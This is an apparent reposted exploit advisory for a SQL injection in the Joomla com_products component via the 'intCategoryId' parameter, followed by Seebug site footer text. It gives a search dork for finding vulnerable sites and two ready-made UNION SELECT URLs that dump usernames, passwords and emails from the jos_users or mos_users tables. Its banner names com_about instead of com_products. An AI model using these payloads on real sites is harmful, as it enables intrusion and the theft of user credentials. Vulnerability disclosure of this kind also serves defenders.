# Title : Joomla com_products 'intCategoryId' Remote Sql Injection Vulnerability # Date : 2010-03-11 # Author : N2n-Hacker # Script: [Joomla]-- # Founder: [ N2n-Hacker -- Email:2nd@live.fr<mailto:Email%3A2nd@live.fr> ]-- ============================================================================== \\\\\\\\\\ Joomla com_about 'intCategoryId' Remote Sql Injection Vulnerability ///////// ============================================================================== *************************************************************************** Dork = inurl:com_products "intCategoryId" ########################################################################### ===[ Exploit ]=== => http://website/index.php?option=com_products&intCategoryId=-222 UnIon SelEct 1,2,group_concat(username,0x3a,password,0x3a,email),4,5,6,7,8+from+jos_users&op=category_details or => http://website/index.php?option=com_products&intCategoryId=-222 UnIon SelEct 1,2,group_concat(username,0x3a,password,0x3a,email),4,5,6,7,8+from+mos_users&op=category_details ########################################################################### My Bad Life ###########################################################################
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京ICP备10040895号
暂无评论